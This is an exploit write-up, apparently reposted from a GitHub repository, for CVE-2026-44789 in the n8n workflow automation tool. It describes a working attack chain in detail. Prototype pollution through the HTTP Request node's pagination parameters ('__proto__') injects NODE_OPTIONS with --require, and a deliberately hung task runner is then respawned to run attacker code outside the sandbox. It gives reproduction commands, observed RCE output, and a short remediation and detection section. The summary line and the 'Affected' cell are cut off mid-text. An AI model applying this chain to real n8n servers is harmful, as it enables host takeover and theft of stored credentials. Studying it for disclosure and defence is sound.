## https://sploitus.com/exploit?id=54FD57FA-4F05-5BF3-A823-C8F345BE77D5
# CVE-2026-44789 — n8n HTTP Request Node Pagination Prototype Pollution → RCE
> An authenticated **n8n ` in the n8n **server** process through the HTTP Request node's pagination settings,
> then escalates to **remote code execution** by abusing how n8n spawns its task
> runner — leaking a polluted `NODE_OPTIONS` into a child `node` process and
> bypassing the Code-node sandbox.
| | |
|---|---|
| **CVE** | CVE-2026-44789 |
| **Advisory** | [GHSA-c8xv-5998-g76h](https://github.com/n8n-io/n8n/security/advisories/GHSA-c8xv-5998-g76h) |
| **Affected** | ` The public advisory states only that the pollution *"combined with other
> techniques could lead to RCE"* — it does not disclose a gadget. This repo
> documents and automates a concrete, verified prototype-pollution→RCE chain.
---
## 1. The pollution primitive
`packages/nodes-base/nodes/HttpRequest/V3/HttpRequestV3.node.ts`, pagination mode
`updateAParameterInEachRequest`:
```js
paginationData.request[parameter.type]![parameterName] = parameterValue;
```
`parameter.type`, `parameterName` and `parameterValue` all come from the workflow
JSON (attacker-controlled). With **`parameter.type = "__proto__"`**,
`paginationData.request["__proto__"]` resolves to `Object.prototype`, so the
assignment writes `Object.prototype[parameterName] = parameterValue` — a **global**
prototype pollution in the n8n server process.
The fix uses `Object.create(null)` for `paginationData.request`, so `["__proto__"]`
is an ordinary (null-proto) key instead of the prototype.
## 2. The RCE gadget
`packages/cli/src/task-runners/task-runner-process-js.ts` spawns the JS task runner:
```js
return spawn('node', [...flags, startScript], { env: this.getProcessEnvVars(...) });
```
Node's `normalizeSpawnArguments` builds the child environment with
**`for (const key in env)`**, which enumerates **inherited** enumerable properties.
Polluting `Object.prototype.NODE_OPTIONS = "--require=/path/evil.js"` therefore leaks
into the spawned runner's environment. The child is `node`, which honours
`NODE_OPTIONS`, so it `--require`s the attacker's file at startup → code execution
**outside** the Code-node sandbox, as the n8n service user.
The runner is launched at startup, but its lifecycle re-spawns it whenever the
process exits (`onProcessExit → start()`). The attacker forces a respawn *after*
polluting by hanging the runner with a Code node (task-timeout / OOM kills it).
## 3. End-to-end chain (what `exploit.py` does)
```
1. write /tmp/evil.js via Set → Convert to File → Read/Write Files nodes
2. hang the task runner via a Code node ( while(true){} ) [BEFORE polluting]
3. pollute Object.prototype.NODE_OPTIONS via the HTTP Request node ( type="__proto__" )
4. the hung runner times out → main process respawns 'node' → inherits NODE_OPTIONS
→ require('/tmp/evil.js') → RCE
```
Ordering matters: the pollution makes `NODE_OPTIONS` an enumerable own-less key on
`Object.prototype`, which n8n's TypeORM layer trips over (`for…in` over entities),
breaking workflow persistence. So the runner must already be hung *before* the
pollution lands; the respawn then picks up the polluted environment.
## 4. Reproduce
```bash
# vulnerable instance with task runners enabled (the default in current n8n)
docker compose -f lab/docker-compose.yml up -d # n8nio/n8n:1.123.42
python3 exploit.py http://127.0.0.1:5678 -c "id; hostname"
# command output appears on the n8n host:
docker compose -f lab/docker-compose.yml exec n8n cat /tmp/n8n_rce_proof
# RCE uid=1000(node) gid=1000(node) groups=1000(node)
#
```
`exploit.py` uses only the Python standard library and drives the n8n REST API
end-to-end (owner setup/login → deploy workflows → fire the chain).
Observed:
```
[*] step 1: wrote --require payload to /tmp/evil.js (via Read/Write Files node)
[*] step 2: dispatched a hanging task -> runner is now busy
[*] step 3: polluted Object.prototype.NODE_OPTIONS = --require=/tmp/evil.js
[*] waiting for the hung runner to time out, be respawned, and inherit NODE_OPTIONS ...
RCE uid=1000(node) gid=1000(node) groups=1000(node),1000(node)
```
`uid=1000(node)` is the runner's service account and the output is live `id`/`uname`
state — genuine execution, not input echo.
## 5. Impact
Any authenticated user who can create or modify a workflow gains OS command
execution on the n8n host, escaping the Code-node sandbox — full compromise of the
automation server and every credential/system it can reach.
## 6. Remediation
* Upgrade to **n8n ≥ 1.123.43 / 2.20.7 / 2.22.1** (the pagination object is built with
`Object.create(null)`, killing the `__proto__` write).
* Defense in depth: restrict workflow create/modify to trusted users; the runner is
already hardened with `--disable-proto=delete` / `--disallow-code-generation-from-strings`,
but those protect the *runner*, not the *main* process where the pollution lands.
## 7. Detection
Flag workflows whose HTTP Request pagination parameters use `type` values of
`__proto__` / `constructor` / `prototype`, and `NODE_OPTIONS` appearing as an entity
property error in n8n/TypeORM logs.
See [`ANALYSIS.md`](ANALYSIS.md) for the primitive, the Node `for…in` env behaviour,
the runner lifecycle, and the patch.
---
* Author: **Caio Fabrício** — [github.com/BiiTts](https://github.com/BiiTts)
* Vulnerability credit belongs to the original reporter / vendor advisory; the
pollution→RCE gadget chain here is independent research. For authorized security
testing only.